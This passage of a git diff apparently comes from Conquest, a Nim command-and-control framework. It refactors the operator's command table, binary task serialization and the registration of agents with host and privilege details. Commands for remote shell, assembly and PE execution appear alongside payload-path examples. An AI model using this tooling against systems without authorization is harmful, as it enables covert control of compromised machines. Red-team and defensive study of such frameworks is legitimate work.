description: "Relative or absolute path of the directory to change to.", argumentType: String, isRequired: true) - ] - ) - - commands[ListDirectory] = Command( - name: "ls", - commandType: ListDirectory, - description: "List files and directories.", - example: "ls C:\\Users\\Administrator\\Desktop", - arguments: @[ - Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: String, isRequired: false) - ] - ) - - commands[RemoveFile] = Command( - name: "rm", - commandType: RemoveFile, - description: "Remove a file.", - example: "rm C:\\Windows\\Tasks\\payload.exe", - arguments: @[ - Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: String, isRequired: true) - ] - ) - - commands[RemoveDirectory] = Command( - name: "rmdir", - commandType: RemoveDirectory, - description: "Remove a directory.", - example: "rm C:\\Payloads", - arguments: @[ - Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: String, isRequired: true) - ] - ) - - commands[Move] = Command( - name: "move", - commandType: Move, - description: "Move a file or directory.", - example: "move source.exe C:\\Windows\\Tasks\\destination.exe", - arguments: @[ - Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true), - Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true) - ] - ) - - commands[Copy] = Command( - name: "copy", - commandType: Copy, - description: "Copy a file or directory.", - example: "copy source.exe C:\\Windows\\Tasks\\destination.exe", - arguments: @[ - Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true), - Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true) - ] - ) - - return commands - -let commands = initAgentCommands() - -proc getCommandFromTable(cmd: string, commands: Table[CommandType, Command]): (CommandType, Command) = - try: - let commandType = parseEnum[CommandType](cmd.toLowerAscii()) - let command = commands[commandType] - return (commandType, command) - except ValueError: - raise newException(ValueError, fmt"The command '{cmd}' does not exist.") - -proc displayHelp(cq: Conquest, commands: Table[CommandType, Command]) = - cq.writeLine("Available commands:") - cq.writeLine(" * back") - for key, cmd in commands: - cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}") - cq.writeLine() - -proc displayCommandHelp(cq: Conquest, command: Command) = - var usage = command.name & " " & command.arguments.mapIt( - if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]" - ).join(" ") - - if command.example != "": - usage &= "\nExample : " & command.example - - cq.writeLine(fmt""" -{command.description} - -Usage : {usage} -""") - - if command.arguments.len > 0: - cq.writeLine("Arguments:\n") - - let header = @["Name", "Type", "", "Description"] - cq.writeLine(fmt" {header[0]:<15} {header[1]:<8}{header[2]:<10} {header[3]}") - cq.writeLine(fmt" {'-'.repeat(15)} {'-'.repeat(18)} {'-'.repeat(20)}") - - for arg in command.arguments: - let requirement = if arg.isRequired: "(REQUIRED)" else: "(OPTIONAL)" - cq.writeLine(fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<8}{requirement:<10} {arg.description}") - - cq.writeLine() - -proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[CommandType, Command]) = - try: - # Try parsing the first argument passed to 'help' as a command - let (commandType, command) = getCommandFromTable(parsed[1], commands) - cq.displayCommandHelp(command) - except IndexDefect: - # 'help' command is called without additional parameters - cq.displayHelp(commands) - except ValueError: - # Command was not found - cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n') - -proc handleAgentCommand*(cq: Conquest, input: string) = - # Return if no command (or just whitespace) is entered - if input.replace(" ", "").len == 0: return - - let date: string = now().format("dd-MM-yyyy HH:mm:ss") - cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input) - - let parsedArgs = parseAgentCommand(input) - - # Handle 'back' command - if parsedArgs[0] == "back": - return - - # Handle 'help' command - if parsedArgs[0] == "help": - cq.handleHelp(parsedArgs, commands) - return - - # Handle commands with actions on the agent - try: - let - (commandType, command) = getCommandFromTable(parsedArgs[0], commands) - payload = cq.packageArguments(command, parsedArgs) - cq.createTask(commandType, $payload, fmt"Tasked agent to {command.description.toLowerAscii()}") - - except CatchableError: - cq.writeLine(fgRed, styleBright, fmt"[-] {getCurrentExceptionMsg()}" & "\n") - return \ No newline at end of file diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim index 5f1f301..f0233c5 100644 --- a/src/server/task/packer.nim +++ b/src/server/task/packer.nim @@ -1,34 +1,162 @@ -import strutils, json -import ../../types +import strutils, strformat, streams, times +import ../utils +import ../../common/[types, utils, serialize] -proc packageArguments*(cq: Conquest, command: Command, arguments: seq[string]): JsonNode = +proc serializeTask*(task: Task): seq[byte] = + + var packer = initPacker() + + # Serialize payload + packer + .add(task.taskId) + .add(task.agentId) + .add(task.listenerId) + .add(task.timestamp) + .add(task.command) + .add(task.argCount) + + for arg in task.args: + packer.addArgument(arg) + + let payload = packer.pack() + packer.reset() + + # TODO: Encrypt payload body + + # Serialize header + packer + .add(task.header.magic) + .add(task.header.version) + .add(task.header.packetType) + .add(task.header.flags) + .add(task.header.seqNr) + .add(cast[uint32](payload.len)) + .addData(task.header.hmac) + + let header = packer.pack() + + # TODO: Calculate and patch HMAC + + return header & payload + +proc deserializeTaskResult*(resultData: seq[byte]): TaskResult = + + var unpacker = initUnpacker(resultData.toString) + + let + magic = unpacker.getUint32() + version = unpacker.getUint8() + packetType = unpacker.getUint8() + flags = unpacker.getUint16() + seqNr = unpacker.getUint32() + size = unpacker.getUint32() + hmacBytes = unpacker.getBytes(16) + + # Explicit conversion from seq[byte] to array[16, byte] + var hmac: array[16, byte] + copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16) + + # Packet Validation + if magic != MAGIC: + raise newException(CatchableError, "Invalid magic bytes.") + + # TODO: Validate sequence number + + # TODO: Validate HMAC + + # TODO: Decrypt payload + # let payload = unpacker.getBytes(size) + + let + taskId = unpacker.getUint32() + agentId = unpacker.getUint32() + listenerId = unpacker.getUint32() + timestamp = unpacker.getUint32() + command = unpacker.getUint16() + status = unpacker.getUint8() + resultType = unpacker.getUint8() + length = unpacker.getUint32() + data = unpacker.getBytes(int(length)) + + return TaskResult( + header: Header( + magic: magic, + version: version, + packetType: packetType, + flags: flags, + seqNr: seqNr, + size: size, + hmac: hmac + ), + taskId: taskId, + agentId: agentId, + listenerId: listenerId, + timestamp: timestamp, + command: command, + status: status, + resultType: resultType, + length: length, + data: data + ) + +proc deserializeNewAgent*(data: seq[byte]): Agent = + + var unpacker = initUnpacker(data.toString) + + let + magic = unpacker.getUint32() + version = unpacker.getUint8() + packetType = unpacker.getUint8() + flags = unpacker.getUint16() + seqNr = unpacker.getUint32() + size = unpacker.getUint32() + hmacBytes = unpacker.getBytes(16) + + # Explicit conversion from seq[byte] to array[16, byte] + var hmac: array[16, byte] + copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16) + + # Packet Validation + if magic != MAGIC: + raise newException(CatchableError, "Invalid magic bytes.") + + # TODO: Validate sequence number + + # TODO: Validate HMAC + + # TODO: Decrypt payload + # let payload = unpacker.getBytes(size) + + let + agentId = unpacker.getUint32() + listenerId = unpacker.getUint32() + username = unpacker.getVarLengthMetadata() + hostname = unpacker.getVarLengthMetadata() + domain = unpacker.getVarLengthMetadata() + ip = unpacker.getVarLengthMetadata() + os = unpacker.getVarLengthMetadata() + process = unpacker.getVarLengthMetadata() + pid = unpacker.getUint32() + isElevated = unpacker.getUint8() + sleep = unpacker.getUint32() + + return Agent( + agentId: uuidToString(agentId), + listenerId: uuidToString(listenerId), + username: username, + hostname: hostname, + domain: domain, + ip: ip, + os: os, + process: process, + pid: int(pid), + elevated: isElevated != 0, + sleep: int(sleep), + jitter: 0.0, # TODO: Remove jitter + tasks: @[], + firstCheckin: now(), + latestCheckin: now() + ) - # Construct a JSON payload with argument names and values - result = newJObject() - let parsedArgs = if arguments.len > 1: arguments[1..^1] else: @[] # Remove first element from sequence to only handle arguments - for i, argument in command.arguments: - # Argument provided - convert to the corresponding data type - if i < parsedArgs.len: - case argument.argumentType: - of Int: - result[argument.name] = %parseUInt(parsedArgs[i]) - of Binary: - # Read file into memory and convert it into a base64 string - result[argument.name] = %"" - else: - # The last optional argument is joined together - # This is required for non-quoted input with infinite length, such as `shell mv arg1 arg2` - if i == command.arguments.len - 1 and not argument.isRequired: - result[argument.name] = %parsedArgs[i..^1].join(" ") - else: - result[argument.name] = %parsedArgs[i] - - # Argument not provided - set to empty string for optional args - else: - # If a required argument is not provided, display the help text - if argument.isRequired: - raise newException(ValueError, "Missing required arguments.") - else: - result[argument.name] = %"" \ No newline at end of file diff --git a/src/server/task/parser.nim b/src/server/task/parser.nim index ebaaaca..818dd8c 100644 --- a/src/server/task/parser.nim +++ b/src/server/task/parser.nim @@ -1,6 +1,8 @@ -import ../../types +import strutils, strformat, times +import ../utils +import ../../common/[types, utils] -proc parseAgentCommand*(input: string): seq[string] = +proc parseInput*(input: string): seq[string] = var i = 0 while i < input.len: @@ -30,3 +32,83 @@ proc parseAgentCommand*(input: string): seq[string] = # Add argument to returned result if arg.len > 0: result.add(arg) + +proc parseArgument*(argument: Argument, value: string): TaskArg = + + var result: TaskArg + result.argType = cast[uint8](argument.argumentType) + + case argument.argumentType: + + of INT: + # Length: 4 bytes + let intValue = cast[uint32](parseUInt(value)) + result.data = @[byte(intValue and 0xFF), byte((intValue shr 8) and 0xFF), byte((intValue shr 16) and 0xFF), byte((intValue shr 24) and 0xFF)] + + of LONG: + # Length: 8 bytes + var data = newSeq[byte](8) + let intValue = cast[uint64](parseUInt(value)) + for i in 0..7: + data[i] = byte((intValue shr (i * 8)) and 0xFF) + result.data = data + + of BOOL: + # Length: 1 byte + if value == "true": + result.data = @[1'u8] + elif value == "false": + result.data = @[0'u8] + else: + raise newException(ValueError, "Invalid value for boolean argument.") + + of STRING: + result.data = cast[seq[byte]](value) + + of BINARY: + # Read file as binary stream + + discard + + return result + +proc parseTask*(cq: Conquest, command: Command, arguments: seq[string]): Task = + + # Construct the task payload prefix + var task: Task + task.taskId = uuidToUint32(generateUUID()) + task.agentId = uuidToUint32(cq.interactAgent.agentId) + task.listenerId = uuidToUint32(cq.interactAgent.listenerId) + task.timestamp = uint32(now().toTime().toUnix()) + task.command = cast[uint16](command.commandType) + task.argCount = uint8(arguments.len) + + var taskArgs: seq[TaskArg] + + # Add the task arguments + for i, arg in command.arguments: + if i < arguments.len: + taskArgs.add(parseArgument(arg, arguments[i])) + else: + if arg.isRequired: + raise newException(ValueError, "Missing required argument.") + else: + # Handle optional argument + taskArgs.add(parseArgument(arg, "")) + + task.args = taskArgs + + # Construct the header + var taskHeader: Header + taskHeader.magic = MAGIC + taskHeader.version = VERSION + taskHeader.packetType = cast[uint8](MSG_TASK) + taskHeader.flags = cast[uint16](FLAG_PLAINTEXT) + taskHeader.seqNr = 1'u32 # TODO: Implement sequence tracking + taskHeader.size = 0'u32 + taskHeader.hmac = default(array[16, byte]) + + task.header = taskHeader + + # Return the task object for serialization + return task \ No newline at end of file diff --git a/src/server/utils.nim b/src/server/utils.nim index 764839b..278ceea 100644 --- a/src/server/utils.nim +++ b/src/server/utils.nim @@ -1,7 +1,7 @@ import strutils, terminal, tables, sequtils, times, strformat, random, prompt import std/wordwrap -import ../types +import ../common/[types, utils] # Utility functions proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] = @@ -16,10 +16,6 @@ proc validatePort*(portStr: string): bool = except ValueError: return false -proc generateUUID*(): string = - # Create a 4-byte HEX UUID string (8 characters) - (0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join() - # Function templates and overwrites template writeLine*(cq: Conquest, args: varargs[untyped]) = cq.prompt.writeLine(args) @@ -114,7 +110,7 @@ proc drawTable*(cq: Conquest, listeners: seq[Listener]) = for l in listeners: # Get number of agents connected to the listener - let connectedAgents = cq.agents.values.countIt(it.listener == l.name) + let connectedAgents = cq.agents.values.countIt(it.listenerId == l.name) let rowCells = @[ Cell(text: l.name, fg: fgGreen), @@ -178,14 +174,14 @@ proc drawTable*(cq: Conquest, agents: seq[Agent]) = for a in agents: var cells = @[ - Cell(text: a.name, fg: fgYellow, style: styleBright), + Cell(text: a.agentId, fg: fgYellow, style: styleBright), Cell(text: a.ip), Cell(text: a.username), Cell(text: a.hostname), Cell(text: a.os), Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite), Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite), - a.timeSince(cq.agents[a.name].latestCheckin) + a.timeSince(cq.agents[a.agentId].latestCheckin) ] # Highlight agents running within elevated processes diff --git a/src/types.nim b/src/types.nim deleted file mode 100644 index 242af35..0000000 --- a/src/types.nim +++ /dev/null @@ -1,110 +0,0 @@ -import prompt -import tables -import times - -# Task structure -type - CommandType* = enum - ExecuteShell = "shell" - ExecuteBof = "bof" - ExecuteAssembly = "dotnet" - ExecutePe = "pe" - Sleep = "sleep" - GetWorkingDirectory = "pwd" - SetWorkingDirectory = "cd" - ListDirectory = "ls" - RemoveFile = "rm" - RemoveDirectory = "rmdir" - Move = "move" - Copy = "copy" - - ArgumentType* = enum - String = "string" - Int = "int" - Long = "long" - Bool = "bool" - Binary = "binary" - - Argument* = object - name*: string - description*: string - argumentType*: ArgumentType - isRequired*: bool - - Command* = object - name*: string - commandType*: CommandType - description*: string - example*: string - arguments*: seq[Argument] - dispatchMessage*: string - - TaskStatus* = enum - Completed = "completed" - Created = "created" - Pending = "pending" - Failed = "failed" - Cancelled = "cancelled" - - TaskResult* = ref object - task*: string - agent*: string - data*: string - status*: TaskStatus - - Task* = ref object - id*: string - agent*: string - command*: CommandType - args*: string # Json string containing all the positional arguments - # Example: """{"command": "whoami", "arguments": "/all"}""" - -# Agent structure -type - AgentRegistrationData* = object - username*: string - hostname*: string - domain*: string - ip*: string - os*: string - process*: string - pid*: int - elevated*: bool - sleep*: int - - Agent* = ref object - name*: string - listener*: string - username*: string - hostname*: string - domain*: string - process*: string - pid*: int - ip*: string - os*: string - elevated*: bool - sleep*: int - jitter*: float - tasks*: seq[Task] - firstCheckin*: DateTime - latestCheckin*: DateTime - -# Listener structure -type - Protocol* = enum - HTTP = "http" - - Listener* = ref object - name*: string - address*: string - port*: int - protocol*: Protocol - -# Server structure -type - Conquest* = ref object - prompt*: Prompt - dbPath*: string - listeners*: Table[string, Listener] - agents*: Table[string, Agent] - interactAgent*: Agent \ No newline at end of file